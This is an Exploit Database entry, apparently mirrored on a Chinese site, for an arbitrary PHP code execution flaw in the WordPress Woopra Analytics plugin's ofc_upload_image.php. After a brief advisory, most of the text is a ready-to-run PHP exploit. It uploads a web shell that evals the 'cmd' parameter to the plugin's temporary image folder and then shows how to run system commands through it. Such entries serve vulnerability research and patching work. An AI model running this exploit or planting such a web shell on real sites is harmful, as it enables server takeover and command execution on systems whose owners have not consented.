WordPress Plugin Woopra Analytics – ‘ofc_upload_image.php’ Arbitrary PHP Code Execution

• Exploit Database
• 13 阅读

• 作者： wantexz
  日期： 2013-10-07
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/38783/

• source: https://www.securityfocus.com/bid/62876/info
  
  The Woopra Analytics Plugin for WordPress is prone to an arbitrary PHP code-execution vulnerability because it fails to properly validate user-supplied input.
  
  An attacker can exploit this issue to execute arbitrary PHP code within the context of the web server. 
  
  <?php
  
  # woopra plugins ~ Exploit
  # http://indonesiancoder.com/
  #
  
  echo <<<EOT
  
  EOT;
  
  
  $options = getopt('u:f:');
  
  if(!isset($options['u'], $options['f']))
  die("\nUsage example: php IDC.php -u http://target.com/ -f shell.php\n
  -u http://target.com/The full path to Joomla!
  -f shell.php The name of the file to create.\n");
  
  $url =$options['u'];
  $file=$options['f'];
  
  
  $shell = "{$url}//wp-content/plugins/woopra/inc/tmp-upload-images/{$file}";
  $url = "{$url}/wp-content/plugins/woopra/inc/php-ofc-library/ofc_upload_image.php?name={$file}";
  
  $data= "<?php eval(\$_GET['cmd']); ?>";
  $headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64;
  rv:15.0) Gecko/20100101 Firefox/15.0.1',
  'Content-Type: text/plain');
  
  
  echo "[+] Submitting request to: {$options['u']}\n";
  
  
  $handle = curl_init();
  
  curl_setopt($handle, CURLOPT_URL, $url);
  curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);
  curl_setopt($handle, CURLOPT_POSTFIELDS, $data);
  curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
  
  $source = curl_exec($handle);
  curl_close($handle);
  
  
  if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') &&
  @fopen($shell, 'r'))
  {
  echo "[+] Exploit completed successfully!\n";
  echo "______________________________________________\n\n
   {$shell}?cmd=system('id');\n";
  }
  else
  {
  die("[+] Exploit was unsuccessful.\n");
  }
  
  ?>